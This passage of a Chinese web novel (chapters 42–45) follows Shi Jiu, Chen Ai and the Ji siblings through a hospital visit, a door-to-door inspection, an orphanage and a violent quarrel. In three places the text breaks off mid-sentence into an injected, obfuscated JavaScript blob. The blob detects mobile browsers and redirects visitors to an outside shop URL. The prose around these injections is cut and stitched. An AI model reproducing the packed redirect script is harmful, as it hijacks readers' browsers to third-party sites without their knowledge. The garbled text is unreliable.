反起源进化本身在任何地方都没有记录,科学家的失踪也不可查证。唯一让人相信日记本记录的真实性的地方在于,他们确实亲眼见到了那间地下医院的惨状。 时咎的目光在两人之间徘徊片刻,缓缓道:“还有一种可能,沉皑。” 42. 第 42 章 他的目光锁定在沉皑身上,不太确定地说:“你之前跟我说过,言霏是一个很受爱戴的掌权者。他让言威尤其不要告诉你这件事,会不会是因为你的性格更容易怀疑、打破砂锅问到底,所以有可能是我们一开始就想错了,这件事本身跟你没有关系,如果被知道,会引发更大的不确定性,他出于对你,或者对你们的保护才格外强调。” 沉皑默不作声,许久,他从时咎手里拿过了那本日记本,再次翻开,看到那一笔一划都苍劲的字迹,到后来横竖都写不笔直的字迹,说:“是有可能,但我不知道的话还能装清白,现在我知道了,我有权利选择查或不查。” 时咎叹气:“你看,你就这样子。”但他耸耸肩,说如果沉皑想查,他就陪着一起查,都知道这么多了,还装无事人也太反人性了,实在不行,把文明中心掀了,把言威绑了,总是能查到当年的事的。 在一旁听了半天的季水风突然笑出声,引得两道目光齐齐望了过去。她很自然地说:“我之前还疑惑呢,现在我知道了,你们确实很配。” 时咎眼皮一跳:“啊?” 两个人的表情精彩得各不相同,说了这话的季水风好半天才回过味,她以为自己说错了,便又结巴了一下,小心翼翼地说:“你们,不是在一起了吗?” 时咎举起双手做投降状,无辜道:“这个消息绝对不是我传出去的。” 兴许时咎不加这一句还好,他说了这一句,在季水风耳朵里就变成了另一个意思:他们秘密在一起了,但是约好暂不公开。 季水风严肃道:“好,我知道了。” 时咎疑惑:你又知道什么了? “对了。”季水风想到什么,她问时咎,“虚疑病后,安全管理中心要做一次全程卫生巡查,去城区里挨家挨户询问情况,结束后全面解除隔离,你有兴趣一起吗?” “嗯?可以吗?”时咎问。 季水风点头道:“安全中心派了一些人,我的路径只有我一个人,正好言不恩想跟着我,季山月知道后也要一起,得出去好长一段时间不会回来,我想,干脆把你叫上,免得他俩打起来我应付不过来。” 说到这里,她的眼神看向了沉皑,好像是在征询沉皑的同意。 沉皑没给反应。这不是他该干预的事。 时咎心想:把我叫上就是我和季山月打起来,季山月和言不恩打起来,你应付仨。 心里话没说出来,他答应了。 巡查前一天,季水风和季山月去了一趟水风私立医院。原本在隔离之前就要去,一直被搁置。 天气晴。 晴天的水风私立医院看上去像一个花园,花园里树草花各式各样的都有,医院大楼也像童话里的城堡,一路走过去,大部分都是小孩子,也有稀疏几个老人。 因为医院在郊区,开车过去也很远,还要行驶过盘山公路,所以两个人提前出门,到的时候还有些早。 病人还在休息,季水风便在护士站和护士聊了几句。 护士叫走进来的人,立刻说:“阿修应该很快就能睡醒了,不过他的运动神经细胞萎缩已经……您只能在床边陪他说说话。” “好。”季水风说,“有空的花瓶吗?我买了些花。” “有的。” 季水风和季山月能进病房的时候阿修刚刚睡醒,他躺在床上,眼睛睁得很大,看到季水风站在床前时,眼神里是难以抑制的高兴,他说:“姐姐。” 季山月去把花瓶放在他的床头,花香扑了过来,于是阿修又说了一声:“山月哥哥。” 季水风在他床前坐下,手轻轻摸着他的头,声音柔得像温泉:“阿修最近怎么样?有什么新的发现吗?” 阿修用力点头:“发现最近平叔叔经常来,而且他都不问我我是谁了,以前经常他都会问我我叫什么什么,住在哪,为什么在这里。” 季水风手没停,一直用指尖梳着他的头发:“那你喜欢这样的平叔吗?” 阿修想了想,似乎在点头,但刚刚有一点动作又收住了,他说:“我之前听护士姐姐说过,平叔叔得的是阿兹海默症,会忘记以前的事,所以我要有耐心回答他的问题。” 季水风笑出来,她听到季山月把另一边的凳子搬过来也在旁边坐下了。 阿修的眼珠子转了一圈,似乎有些疑惑,他说:“我知道我的手术失败了,我会一直躺着直到睡着醒不来,以后也不能给平叔叔解释我是谁了,是不是因为这样,平叔叔不想忘记我是谁,是不是我睡着不醒来,就能治好他的病?” 季山月在旁边说:“你好自恋啊。”虽然这么说,但是语气却是难得的轻柔。 阿修看上去是同意季山月的说法。 “那阿修还有什么想做的吗?”季水风问。 说到这个,阿修的眼神亮起来了,他直直望着天花板说:“有!我想去学校,前段时间有同学跟我说学校开展运动会了,我想去跑步。还有图书馆,他们说上了一节历史课,在一个超级大的教室里,那个教室比整个学校都大,里面的东西还会动,哦对了,还有成人礼,我也听说了,我真的可以不用张嘴就和别人交流?好想试试啊,可是要20岁。” 提起这些心愿,他太开心了,好像天花板上能看到他到不了的未来里,有他想要的一切。 但紧接着他眼里的光消失了,他垂下眸子,自言自语说:“好想试试啊。” 可他活不到20岁呀。 季水风还在做着安抚他的动作,却不由自主地颤抖起来,她咬紧牙,没让自己吭出一声。 季山月立刻伸手拍了拍季水风的背,说道:“这样吧小子,我以前听说过一个方法,可以让你尝试一下,想不想听?” “想!”他有些高兴,很想动,但是太困难了,只能张大嘴来表现自己的乐意。 季山月说:“你今年6岁了对吧,从明天开始,每一天,你都长大10岁,明天16岁,后天就26岁了,后天你就已经参加成人礼了。再后面,你就会变成76岁、86岁,甚至一百多岁!你会活得比任何一个人都久,见过的事比任何人都多,但是有一个条件,你要像那个年龄的人一样做事,比如当你已经36岁的时候,护士过来给你打针,你绝对不可以哭,没有人36岁了打针还会哭,明白吗?” 阿修思索了好一会儿,觉得自己应该是明白的,便眨眨眼。 “很好,就喜欢你这种聪明的小朋友。等你106岁的时候,我来给你送贺礼,毕竟已经是高寿了,你会收到很多礼物的。”季山月满意地说。 听到礼物,阿修又高兴起来。 外面传来了小孩吵闹的声音,和护士制止的声音,没一会儿,病房的门被推开了,钻进来两个差不多大年龄的小孩,一个小孩手里还抱着一只小豹子。 “姐姐姐姐!”他俩喊着,抢先挤到季水风的跟前。 “我呢?”季山月指自己。 “哦对!”抱着小豹子的男孩把怀里的豹子迅速放进季山月怀里,“你抱会儿小雾吧!” 季山月:“嘿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊!这……”护士无言张大嘴,说不出话,望着已经开走的车,原地朝他们离开的方向鞠躬。 路上季山月问季水风还有多少积蓄,季水风忖测说:“没多少,够用。” 季山月把着车把手,也不知道如何说,只能装作关心:“你把所有的东西都拿去帮那些都不一定活多久的人……” “季山月。”她打断他,平静地问,“你觉得人生的意义是什么?” 季山月张嘴,半天没想好怎么回答,沉默半晌,他说:“好好活着,为自己为别人创造更多的东西,让世界变得更美好。” 季水风笑道:“但是对于我来说,人生没什么意义。” 她说:“当我知道人生毫无意义的时候,其实特别开心,因为这样我就可以按照我的喜好,赋予它任何意义。” 季山月点头,似懂非懂:“所以,你现在定义的意义就是,无条件去帮那些人?其实我一直搞不懂你,他们和你毫不相干……” “没有人和我毫不相干,我和世界所有人都有关系。”季水风再次打断他。 季山月沉默下来,他有时候确实不太懂他姐,好像他姐心里有很多很多事,那些事让她委屈让她沉默,她却任由自己的心被不安撑大。可是,他们几乎是一起长大的,为什么从来不知道呢? 他说:“姐,我们分开那几年,你是不是经历了很多?” 季水风摇头,但没有说话,季山月没有追问。 季水风想,她现在活着的意义在于,让那些还活着的人能开心活下去,让不能活太久的人也能安宁地活下去。 她活着的意义是这些吗?还有吗? 季水风希望自己不要想那么多,不要让有的念头蹦出来,像扑不灭的火焰焚烧她的五脏六腑,但偶尔也会控制不住让压在心里的东西奔腾而过,让她看到了自己内心横冲直撞出的两个字: 赎罪。 43. 第 43 章 巡查出发那天,沉皑似乎还很忙,见了几个管理,召集了一些人,好像还有开会,所以时咎没有去打招呼,只在他办公室留了字条。 跟季水风出去巡查,暂时不回,勿担心。——时咎 开车出去的路上,一车四个人,两个人都在闷闷不乐。 “姐!你怎么把言不恩也带上,带着小屁孩巡查,不是给自己找事吗?” “你说谁小屁孩?姐!你怎么把这个闹腾的东西也带着啊!” “你才是东西,你是什么东西?不是,姐,你带言不恩就算了,时咎能干什么?我真的是小王八缩壳里,鳖屈!” 时咎:? 时咎冷漠:“有病就治,没病别说话。” “你还骂我?你死定了时咎!” “你才死定了!今天我和时咎哥哥一条线!” “小屁孩哪有你说话的份?” 言不恩大喊:“姐!!!” 季山月也大喊:“姐!!!” 季水风默默打开音乐系统,再默默调大音量,企图装听不到。 她的人生里很少会有错误的决策,但这次,是一个天大的错误。 巡查几乎是每家每户询问情况,根据安全管理中心划分的街道,在自己接收到任务的范围内排查。 街上人不多,都在等巡查结束。 “你好,安全管理中心,季水风。请问最近是否有异常?” “身体都还健康吗?” “有发现发病的倾向吗?” “你好,安全管理中心,季水风。你一个人住吗?有什么需要帮助的吗?” “你好,安全管理中心,季水风。我们在做一些日常的安全信息排查,请问最近有没有什么异常活动?” “你好,安全管理中心,季水风。” “你好……” 最开始是季水风一个人挨家挨户的询问,季山月跟在后面记录,时咎带着言不恩在后面等,后来见多了也轻车熟路许多,便季水风带着言不恩,季山月和时咎,就近可以同时询问两户人家。 车开到这条街道的最后一个部分,四个人下车。 熟悉的街道,熟悉的房子,熟悉的墙。季水风站在原地没动,她抬头看了看眼前这栋不高的楼。 “怎么了姐?”季山月问,他已经走到门口了,回头却发现季水风还站在车旁边。 季水风回过神,说没事。季山月奇怪地也跟着抬头看了一眼,这一栋楼只有两户人家,左边那户的窗台,小镇乡村风的绿色百叶窗大开着,顶部晾了几件女性衣服,似乎都有些脏了,应该是晾在那很久没收,右边那户人家窗台上则摆满了青翠的绿植,绿植中间还有一只圈养的鸟,此时正在叫不停。 季山月左右张望半天,猝然想起来什么,他指着眼前的楼说:“姐,这是不是小时候收养你那户人家住的地方啊?” 季水风轻轻点头,在很久的过去里,她曾经在这里住了好几年,后来却再也没回来过,偶尔路过,也只是远远看上一眼,即使鼓起勇气,也最多在楼下停留不出半刻,便像一位路人一样轻飘飘地离开,从未上去过。 季山月好像也想起什么不太愉快的事,他嘟囔了两声,说:“上去看看啊!巡查嘛,管他的!” 季水风犹豫了一会儿,还是走了过去。 “感觉我姐不太高兴。”言不恩在身后小声对时咎说。 时咎耸肩:“我感觉也是。”但他不知道发生过什么,也没问,只是带着言不恩跟了上去。 时咎观察了一圈这边城区的房子,和靠近文明中心那边的现代化不同,这一片是老城区,楼房不高,颇有欧美建筑风格的味道,拱形门的元素比比皆是,他们靠近的这栋楼后面还有一条小河,两条街中间搭了一座基于切线和半径的桁架结构桥联通。 入口的门也是拱形门,但进门后,步步上升的楼梯都经过了重刷,原本破破烂烂甚至掉了墙皮的墙,也都在不知什么时候重新整理过,已经找不到太多历史的痕迹了。 季水风往上走,心里倒没有太多波澜,可能因为变化太大,大到已经无法和记忆里的模样重合。她走到二楼,想先去敲右边那户人家的门,最后在那里愣了好一会儿,又转头站去了左边。 后面三个人都没有说话,只是看着季水风站在门前,举起手,又放下,叹了口气,又举起手,好像是下了很大的决心,最终才轻轻敲了几下。 没人开。 季水风又稍微用力敲,但片刻依然没人。季山月走上前来正常敲了几下。 “咚咚咚——” “有人在吗?” “咚咚咚——” 回答他的是长久的寂然,那些声音沿着墙,爬着缝隙,从楼梯翻滚而下,在阶梯最下方摔得粉碎。 “吱——” 隔壁的门开了,开门的是一位男性,他奇怪地看了一下楼道的四人,讶异地问:“你们是?” 季水风迅速收起情绪,走过来举起他的通行证,音调像什么都没发生过般冷静:“你好,安全管理中心,季水风,我们在做日常安全管理检查,抱歉打扰到您,请问最近您有感觉到任何异常吗?” 男人了然,摆上笑容:“啊,安全管理中心。异常倒没什么异常,就,中规中矩的。” 季山月上前一步问:“您知道隔壁这户人去哪了吗?” “隔壁呀,隔壁就住了一个女人,也很正常吧,都二三十年邻居了,我们经常会碰面,她也会友好跟我们打招呼,最近没看到,不知道,不过她有时候是会离开一段时间,去度假什么的,过不了多久就会回来,你们放心吧。”男人说,表情很平和。 “好,谢谢,耽误您时间。”季水风说道。 男人立刻摆摆手:“不不,应该的!” 说着,他身后突然走过来一个小女孩,看上去只有三四岁岁大,好奇地抱着男人的腿在后面躲了一会儿,只露出一只眼睛。男人见状,把她往前面牵了牵说:“这是安全管理中心的叔叔阿姨,是保护我们的。” 小女孩不愿意,逆着男人的手往后躲,男人解释:“她胆子小,不愿意见陌生人。” 季水风朝小孩笑了下,说:“没事,我们不打扰了。” 四个人正准备离开,却见小女孩抬起手,指着他们,指尖划过一圈好像不知道该指谁,最后只能指着空气说:“是怪物。” “有怪物,爸爸,有怪物。” “怪物来了!爸爸!” “爸爸!!”她的声音越来越大,最后大喊起来。 叫声吓到了男人,他一把抱起小女孩安慰道:“没有怪物没有怪物,乖,不怕不怕!”说着朝外面震惊的四个人解释说, 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“能不能,能不能放过我,我可以改,我不想死。”沈向南抖着说。他这个人很奇怪,在这个环境很好的年代,他格外怕死,他知道即使是死,也应该是一件安乐的事,但是他就是害怕,害怕得控制不了颤抖的身体,他开始后悔最开始做的决定,他应该好好考核,一步一步慢慢走到操作人的。 沉皑面无表情,说:“你可以改,那些人呢?” 本来进化是仪器配合操作,正规操作下,不会有危险,但操作失误例外,因为操作失误已经有几个孩子失去性命了。 沈向南更不敢说话了,他觉得自己犯了一个天大的错误,可已经到了不得不承担代价的时候,他后悔了。 沉皑冷漠像夜晚的沙漠,巨大又令人窒息,他说:“文明中心就是因为你们这种人……”后面的话没说完。 安全管理中心的人来得很快,他们保存了沉皑提取的证据,最后架着沈向南走了。 沈向南的声音回荡在整层楼。隔壁进化室的门被偷偷开了一条缝,一只眼睛默默注视着走廊里沉皑的背影,但沉皑好像察觉到什么,迅速转头,门被“啪”一下关上。 门后的江遂捂着胸口,心惊肉跳。 他该怎么办?他听说沉先生突然开始肃清整个起源实验室,因为沈向南操作失误导致好几个未成年人脑死亡,所以他要查所有操作人的审核,审核没有通过却用不正当手段进入起源实验室的,会被逮捕。 被逮捕。好像是一个听上去就很陌生的词,他们这儿很少有人被逮捕,监狱都很少有人。那他应该怎么办?也许迟早会查到他头上,还能像上次一样轻易被带出来吗?他知道好几个人是通过舟先生操作进来的,那沉先生现在这样做,是不是在向舟先生宣战? 江遂打了个寒颤。 监狱的人太多,多的是压力和烦躁,但监狱只有一个人,多的就是孤独和绝望,特别是对于沈向南这样的人来说。 连看守监狱的人都没有,他在监狱大喊:“我错了!!再给我一次机会!!” “有没有人啊!!沉先生!我真的错了!!沉先生!” “舟先生!救救我!我不想死!!” “有没有人啊!!好冷!好饿啊!” 监狱里温度确实比外面稍冷一些,不过也是正常温度,也许是心理原因,心理暗示的成分过于强大,沈向南觉得冷得如同掉进了深海。 “好冷,好饿。” 44. 第 44 章 “好冷,好饿。” 时咎皱眉问:“你说什么?” 街头小巷里蹲着的小男孩蜷缩着自己的身体,双手抱着膝盖,嘴里又喃喃了一遍:“好冷,好饿。” 一条不易察觉的小巷子,原本也不会走这里的,但言不恩说以前季水风带她来这里吃过一家冰淇淋,很好吃,于是四个人就往这里面走了,结果冰淇淋店没找着,在角落找到了一个孤单蹲着的小男孩。 四个人面面相觑,时咎往前走了一步,把自己身上的衣服脱下来给他披上,蹲下说:“你妈妈呢?” 小男孩抬起头,大眼睛看着时咎说:“不知道。” “不知道?”时咎怎么也没想到会是这样的回答,他惊讶地转头看向季水风。 季水风也很诧异,她让季山月去附近买点吃的过来。 “小朋友,可以给姐姐讲讲发生了什么吗?”她蹲下,微笑着说。 小男孩原先好像不太愿意说,但听见季水风说要给他买点吃的,他便吞了口口水说话了。 原来这个小男孩是一位无性繁殖的女人一个人带大的,后来不知道什么原因,女人说让他自己生活下去,便把他带到一个陌生的地方自己走了,但小男孩并不会自己生活,就随意走,遇到一个人就说妈妈在附近买东西,他偷偷跑出来玩,一会儿就去找妈妈,饿的时候也用这样的方法获取食物,他遇到的人都非常好,没有人拒绝他,但也不是长久之计,他到处走走停停一周之后,觉得有些体力不支了,便找了个小巷子休息,小孩子的心突然开始崩溃,于是哭声引来了他们四个。 季山月匆匆忙忙买了衣服食物和水来,赶紧递给小男孩,就见他拿着开始吃。 时咎看着这个小男孩,抿着唇在想什么,季水风把他拉起来,两个人走远了一点,季水风无奈对他说:“嗯……我知道你在想什么,虽然好的总是更多,但这里毕竟不是乌托邦,我们都在朝着更好的方向努力。有的人……” 她叹气,好像想起一些什么,目光看向了小巷子深处:“有的人依然自私,没有责任心,甚至他们的心里藏着巨大的恶。但我还是坚持,只要我做那个善良的人,恶就对我造成不了伤害,我只要坚定我的善良,遇到不公正,也不会轻易怀疑和摇摆。” “摇摆,还是不够信。” “我知道,你现在别想太多。”时咎轻声说,并拍了拍她的肩,随后又转身走到小男孩身边蹲下跟他聊天。 季水风联系安全管理中心核查信息,但是核查一圈也没有找到人,于是季水风决定把小男孩暂时送往孤儿院。 季水风到孤儿院的消息一传开,里面的小孩子就一个接一个跑出来了,拉都没拉住,最后管理员无奈给小孩子们都放了个假,取消当天的学习计划。 季山月把刚刚带回来的小男孩的情况向院长说明,院长表示他会发布通知,期间也会一直照顾小男孩,让他和季小姐不要担心。 孤儿院的院子里格外的热闹,所有小朋友都围着季水风转。 言不恩有些不高兴地坐在院子的一张长椅子上,时咎也在这儿坐着,他看见季山月从院长办公室出来后也加入了一群小孩的游戏营里。 “真幼稚。”言不恩不屑道,“和小孩子有什么好玩的,他们在孤儿院不是也生活得很好吗?” 时咎听见,无奈笑了出来,懒洋洋地伸了个懒腰。 言不恩瞥见时咎,想起什么似的靠坐过去,偷偷小声地说:“时咎哥哥,你和沉皑这个冷漠仙人关系很好吗?” “冷漠仙人?”时咎没回答她的问题,抓住了另一个重点。 神奇的称呼。 言不恩对这个称呼非常的满意,她说:“嘿嘿,我取哒。我记得我小时候,哥哥姐姐对我都很好的。”说着,她指了下不远处的季水风和季山月。显然她说的哥哥姐姐是他们俩加上沉皑。 “然后呢?”时咎没打断她,等她继续说。 “我爸爸妈妈都不管我,是他们一直带我玩,我可喜欢他们三个了,从小带我玩到大,要我叫他们爸爸妈妈都可以。”言不恩回想起了以前的一些时光,眼神里尽是怀念,她回想着说,“那会儿冷漠仙人也不是冷漠仙人,不过你肯定不知道,他其实无敌温柔,会照顾我,也会照顾他们。” 言不恩的手指依旧指着他们,腿不停在椅子下晃动,鞋碰着长得有些高的草,那些草便随了她的节奏一起晃动。 “而且我爸爸对他们也很好,后来不知道怎么的,沉皑和我爸爸吵了一架,吵很凶,那之后他就变了,再后来,他也走了,不跟我们三个一起了,再见到他的时候,他就变成了冷漠仙人。虽然看见我,还是会温柔地问我最近怎么样,或是其他,但是那种感觉不对,不是小时候的样子,我觉得他不开心,永远都面无表情,我那会儿想逗他开心,给他取名冷漠仙人,还骂他,跟他哭,找他无理取闹,但是他都不生气,只是安慰我两句,就再没有了,我感觉他不喜欢我,我就不喜欢他了。”言不恩说,那个时候她每次想起都觉得难过,每每想起都难以释怀,明明以前那么好的哥哥呀,再也见不到了。 时咎听着,看向那边已经打闹成一团,一个个笑得快背过气去的人,思绪有些不住往外飞。 其实,他没有那么了解沉皑,尽管日常也相处着,但他们聊的话题高度精神化,总在说音乐、建筑、美学,或是这的那的历史与文化,对真正个人的东西,谈得少之又少,他不知道沉皑的过去,不知道他的喜怒哀乐,不知道他的密码代表着什么,不知道的太多太多,但是……还是很想知道一些。 时咎忽然发觉自己的心有些变化,曾经他也想了解沉皑,但不是因为他是沉皑,只是因为这个人是他梦境里最近的人,他也想了解季山月和季水风,想了解舟之覆,甚至那个高傲的掌权者助理他也想知道,他们的背后有什么故事?这个世界发生过什么故事?哪些故事是来源于他的潜意识?又有哪些潜意识可以编成故事。 所有的一切都想知道,这样,他的梦就是他的灵感,源源不断的故事,源源不断的灵感。其他的,他不在乎。 但现在他第一时间想的却不是这些,他想知道沉皑有什么故事,因为他是沉皑,不是因为这场虚无又飘摇的梦。 他有些喜欢这个地方,这些人,这些——活生生的人。 他想到沉皑说的那句话:接不接受都一样,你可以当我只是你梦的一个组成部分,但我有自己的经历、认知和记忆,这就是我的现实。 这是他的现实。 他们之间一定是有千丝万缕联系的,只是究竟是什么联系,还没有找到契机求证。 随着时间推移,越是深入这个世界,时咎越觉得上天有所安排,不会有那么多巧合的。 想到这,时咎发现有几天没有沉皑的消息了,不知道他在做什么? “对了。”时咎问,“你带手机了吗?我可以用吗?” 自从上次手机不见了,就再不知道去哪了。 言不恩迅速掏出手机,笑嘻嘻地:“你要给冷漠仙人打电话?” “不。”时咎轻声说,他打开手机,慢慢找到信息一栏。 言不恩的手机里没什么东西,除了粉嫩的壁纸和装饰,其他都很简洁,时咎轻易找到信息界面,也轻易找到沉皑的号码。 “我想用你的号码给他发信息。” 言不恩呆呆的,但还是点头。 时咎沉思片刻,编辑了一条信息。 ——你在做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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操作人朝安保示意,安保走过来扶起少年,对他说:“请跟我走吧。” “我不要,我不要!”他开始尖叫、挣扎,但他的力气远不如架着他的人,他就这么被带到了一个很大的房间。 房门一开,里面吵闹的声音瞬间冲出来,竟是十多个少年少女,全是这一批未合格的人,他们在里面站着哭,有的是坐着哭。 这一遭下来,虚疑病还是残留太多病毒了。 守在门口的人关上门,听见脚步,没一会儿看见过了转角出现舟之覆的脸。 舟之覆走到门前,看了一眼里面的人,烦躁地说:“怎么这么多不合格啊?一个月不是都过去了吗?还是说一个瘟疫让文明的花骨朵儿质量也差了?”他烦躁这些人一多,他的工作量会急剧增加,审核不合格可比审核合格复杂得多,虽然合格量大,但审核不合格却更麻烦。 他要多方面确认这个人真的不能合格,每个人都要严格调查,最后确认不合格的人才送去教化所。 他知道没人想去教化所,所以他的单个工序才意外复杂,结果现在突然飙升,那不就是要他工作不能停吗? 舟之覆烦得想锤墙,皱着眉头用力拉开那道门,里面的哭声再次如洪水猛兽撕开猎物般泄了出来。 “我不要去教化所!我要回家!!” “我要回家!!” “啊啊啊啊——” “我不想去!!!” “啊啊——!!!” 45. 第 45 章 “啊——!!!” 一声尖叫,季山月从草丛里逮出来一个小孩子,小孩子尖叫着大喊:“我被抓住啦!姐姐救我啊!” 季水风坐在原地,风吹着她的头发,显得格外恬静。她看着季山月一个一个把自认为藏得好好的小朋友揪出来,开心地笑出来。她说道:“姐姐也没办法,你们输了,只能任凭哥哥处置了。” 季山月还真有能力在极短的时间内把所有藏起来的小朋友都找出来,找完后,他站在院子正中央,周围七倒八歪了很多小孩,他撩起袖子,手叉腰,中气十足地骄傲道:“开什么玩笑?爷爷我可是正规受训二十年的,你们这帮小崽子想难倒我?” 时咎在旁边研究这边的花卉,听到季山月说话,便抬起头问:“想成为安全管理中心的职员,还要正规受训二十年?” 言不恩听到了,她弓起身子,对着时咎说:“才不是,他们以前住在我家另一栋楼,是我父亲在训练他们,之后才去安全管理中心的。” 时咎似懂非懂,想点头,但又没太明白。所以她的意思是,他们几个从小一起长大,是真的字面上的意思,从小在一起长大,一起接受某种训练? 时咎突然想到那次在大厅,沉皑和季山月合力突围舟之覆的亡灵大军。原来是这样啊。 “那你的父亲……”时咎说,“为什么训练他们三个?为什么是他们?” 言不恩偏头,眼珠子古灵精怪地转了一圈:“我也不知道耶,可能觉得姐姐和大傻子季山月的能力很强吧,可冷漠仙人没有能力,嗯……那我真的不知道了,我才懒得管。” 时咎轻点头,突然问:“你有能力吗?” 或许也没料到会有人问这个,言不恩忽然浑身跟顿住了一样,她吞咽了一口口水,不自然地扯起嘴角,音量降低好几个分贝:“我没有耶。” 时咎平静地看着她的身体反应。 突然一个小孩子大声说道:“山月哥哥你穿的黑色内裤吗!” 季山月:“?” 位置刚好在季山月背后的时咎回过神抬头去看,看到季山月那撑破的裤子,露出里面黑色的内裤,没忍住“噗”的一声笑出来了,思绪全部打断。言不恩也看到了,她笑得更大声。 小孩子们开始狂笑,一个个笑得东倒西歪,连坐在中间的季水风也乐得藏不住大笑起来,其实她想给她弟弟一点尊严的,但是太好笑了。 后知后觉的季山月伸手摸了摸屁股,刚刚还高傲的神情瞬间就变了,他的脸红得像再多说一句话就可以引爆的炸弹。 他怒吼一声,跑了。 黄昏凉爽的风栖息在草地和花中间,又带着草和花香传去更远的地方。 小孩子们的笑声在整个院子回荡,笑得像快岔气一样,笑到后面一个个脸上的眼泪止不住的流,一时间也分不清在哭还是在笑。 高兴或者悲伤到极致,总是极其类似的。 脚步声坚毅地踏在起源实验室的地板上,沉皑拿出手机清理未读消息,看到很少给他发信息的言不恩的信息。 ——嘿嘿,最近和时咎哥哥一起玩,时咎哥哥真贴心,他超好,我超级喜欢他,你以后不许凶他哦知道吗?好久没见沉皑哥哥了,哥哥想我吗? 沉皑没打算回,直接点了退出,在正准备收回手机时又重新举起,点亮屏幕,再次打开了这条信息。 沉皑眼神黯淡下去。随后又勾了下嘴角,快速回复过去。 天天演戏,这演的又是哪一出? ——嗯。 简单明了,至于是在回答哪个问题,随他去想吧。 哭喊从转角后的门里漏出来,沉皑路过,停住脚步,收起手机,询问发生了什么,守门的人如实告诉他了。 沉皑皱眉头,不太能相信:“十多个……” 正说着,又一道哭声传来,又一个女生被带过来了,她哭着说不要去教化所,去那儿太久了,她会想家。 路过沉皑,女生看到沉皑微阖的眼,虽然他看上去不太好接触,但还是强行停住脚步,绝望地说了一句:“是沉先生啊,沉先生……我不想去教化所。” 沉皑放柔和表情,微微弯腰摸摸她的头说:“教化所里除了你的爸爸妈妈什么都有,还有其他同龄人,你们可以认识,一起学习,一起玩。努力让自己变好,就可以很快从那里出来了。”说着,他伸手去擦女生的眼泪。 舟之覆突然打开门走出来,然后看到旁边的沉皑。 沉皑站起来,轻轻拍女生的肩,接着她被带进了那个房间。 “嘁。”舟之覆不屑地哼哼,“关你事吗你在这干预。” 沉皑恢复面无表情,冷漠地说:“我没有干涉结果。” 舟之覆不听,他就是想膈应沉皑:“喔,我还以为天之骄子什么事都要管一下呢,手伸真长。” 他大概是在说沉皑最近在肃清实验室的事,已经查了几个通过舟之覆进来的人了,只是查到了舟之覆也不关心,所以无所谓沉皑查,反正也不会查到他本人头上来,他可是名正言顺掌权者提拔上来的。 至于沉皑如果揭发这件事,他也可以保证不再犯,从而直接大事化了。 沉皑不想跟他多说,只问他:“这批不合格还是这么多?你和安全管理中心上报了?” “我跟他们上报做什么啊?”舟之覆声音提高了一些。 沉皑淡淡地:“你知道做什么。” 舟之覆阴阳怪气说:“我哪知道啊,我知道的可没有你多喔。天之骄子什么都知道,什么都做得到,查人也查到我头上,好厉害。” 沉皑没想陷入他的癫狂圈套,转身打算走,却听舟之覆又在后面不知天高地厚小声加了一句:“你那么厉害,当年还不是保护不了想保护的人。” 沉皑猛地顿住脚步,他有些不可思议地停在原地,好像无论如何也没想到会有人说这样的话,愣了好几秒,才缓慢转头,语气换上了很少会出现的杀气,他努力压着声音,一字一句道:“你再说一遍?” 舟之覆也突然觉得不太对劲,沉皑那种气场带动周围空气流动的感觉让他觉得不太妙,好像有什么无形的东西在搅动身边的空气。 深红色的流光迸发出来,像动脉血一样有力而张狂地包裹着这不大的地方,没人察觉到,但沉皑能看到,那是他的愤怒凝成的光。 “等等!”舟之覆意识到自己说错话的时候脸上已经结实挨了一拳了,痛得他眼泪不受控掉下来。 这一拳是实打实的毫不留情,在挨打之前舟之覆还觉得这说话确实没过脑子,触逆鳞了,但是被狠揍好几下之后,干脆破罐子破摔。 他只有能力,自身却不会打架,只能被动挨揍,于是在拳头缝隙里他大喊着:“有什么不对的!连自己的小孩都保护不了!唔,又没有能力!还想当救世主,啊好痛,救,救这些人啊?!” 守在门口的人吓得退去另一边当看不见,怕自己受到牵连,心有余悸地想,坏了,两个看守者又打起来了,这恐怕是文明中心最水深火热的地方了。 沉皑一拳一拳几乎朝着打死他的心态去的,也确实想杀了他,愤怒在冲刷焚毁,那些记忆如同年久失修的危楼,轻轻一晃,本就不牢固的尘土便纷纷往下掉,每一粒灰尘都是他对自己的憎恨。 舟之覆大喊:“连能力都没有!想打死我,别做梦了!” 五指捏得紧紧的,一拳挥出去能听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187337|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到破裂的风声,力道十足的一拳。 “啊!!”一声痛叫。 季山月捂着脸,感觉脸应该马上就肿了。 时咎收回拳头,微微喘着气,汗水浸透了他的衣服。这一拳打得很爽,他想。顺便抬手擦了擦头上的汗,胸口剧烈起伏着朝季山月扔出一个非常挑衅的笑容。 季山月气死了,他骂骂咧咧道:“时咎你这个小崽子,搞偷袭!公报私仇是吧?” 时咎活动了一下脖子,揉了揉手,耸肩无所谓道:“没有啊,但是和人打架不就是要趁对方不注意,在背对着你那一秒给出致命一击吗?”他做了一个出拳的姿势。 季山月愤怒,却又觉得他说得有道理,只能嘀咕着说:“小王八,你还挺有打架天赋的。” 天赋是有的,老师也是有的。 “继续。”时咎抬了抬下巴。 四个人临时找了一个酒店,回来的时候有些晚了,季水风和言不恩吃了饭便回房间,而季山月和时咎听说有健身房,就都跑来了,健身房没人,热身结束后时咎问季山月能不能再教他一些打架的基本操作。 